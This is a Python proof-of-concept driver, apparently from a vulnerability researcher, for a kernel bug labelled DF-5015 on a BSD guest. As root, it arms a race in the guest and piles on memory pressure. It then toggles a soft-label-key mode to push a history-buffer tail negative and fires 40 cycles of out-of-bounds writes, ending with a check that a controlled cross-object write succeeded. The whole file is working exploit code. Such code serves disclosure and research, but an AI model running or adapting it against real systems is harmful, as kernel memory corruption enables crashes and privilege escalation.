DF-5015 / round4.py
#!/usr/bin/env python3 """DF-5015 round 4: guest-side watcher freezes the mismatch; then in-kernel evidence: negative tail after restore, Z-cells before buffer after fire.""" import sys, time sys.path.insert(0, '/home/maxx/dfbsd/dfbsd/findings/poc/DF-5015') import os os.chdir('/home/maxx/dfbsd/dfbsd/findings/poc/DF-5015') from drive import Mon, run_root, Slk def state(): return run_root("sysctl -n hw.df5015") m = Mon() slk = Slk(m, vty=0) print("== reset ==") run_root("pkill -f 'df5015 flip' 2>/dev/null; true") run_root("rm -f /tmp/DF5015_STOP /tmp/DF5015_FROZEN") run_root("/tmp/df5015 flip 1 0 1500") print("== arm ==") run_root("rm -f /tmp/DF5015_STOP /tmp/DF5015_FROZEN") print(run_root("/tmp/df5015 arm")) print(run_root("/tmp/df5015 drain >/dev/null 2>&1 & ")) print("== watcher + pressure + flip ==") run_root("/tmp/watcher.sh >/tmp/watcher.log 2>&1 &") print(run_root("su maxx -c 'sh -c \"while :; do dd if=/dev/zero of=/tmp/big bs=1m count=900 2>/dev/null; rm -f /tmp/big; done\" >/dev/null 2>&1 &'")) print(run_root("su maxx -c '/tmp/df5015 vmburst 1400 >/tmp/vmburst.log 2>&1 &'")) print(run_root("su maxx -c '/tmp/df5015 pressure 4000 >/tmp/pressure.log 2>&1 &'")) run_root("/tmp/df5015 flip 100000 250 20 >/tmp/flip.log 2>&1 &") deadline = time.time() + 420 frozen = False while time.time() < deadline: out = run_root("cat /tmp/watcher.log 2>/dev/null") if "FROZEN" in out: print(out.strip()) frozen = True break time.sleep(2) if not frozen: print("watcher never fired:", run_root("cat /tmp/watcher.log")) run_root("touch /tmp/DF5015_STOP") sys.exit(1) time.sleep(1.0) print(run_root("tail -2 /tmp/flip.log")) st = state() print("== frozen state ==") print(st) assert "size=2000" in st and "ysize=60" in st, "freeze failed" print("== arm negative tail (SLK cycle) ==") slk.set(True) m.key("home") # entry save (in-bounds wrap) + home slk.set(False) # restore -> tail should go NEGATIVE time.sleep(0.3) st = state() print(st) print("TAIL NEGATIVE!" if "tail=-" in st else "tail not negative?!") print("== fill + baseline zprev ==") run_root("/tmp/df5015 fill 0 Z 70") print(state()) print("== fire 40 ==") for i in range(40): slk.set(True) m.key("home") # append from negative tail -> OOB WRITE slk.set(False) # restore -> re-arm if i % 8 == 0: print(f"cycle {i}: {state()}") print("== final ==") time.sleep(0.5) final = state() print(final) print(run_root("echo alive")) if "zprev=0 " not in final and "zprev=-1" not in final: print("*** Z CELLS PRESENT BEFORE THE HISTORY BUFFER: " "CONTROLLED CROSS-OBJECT WRITE PROVEN ***") |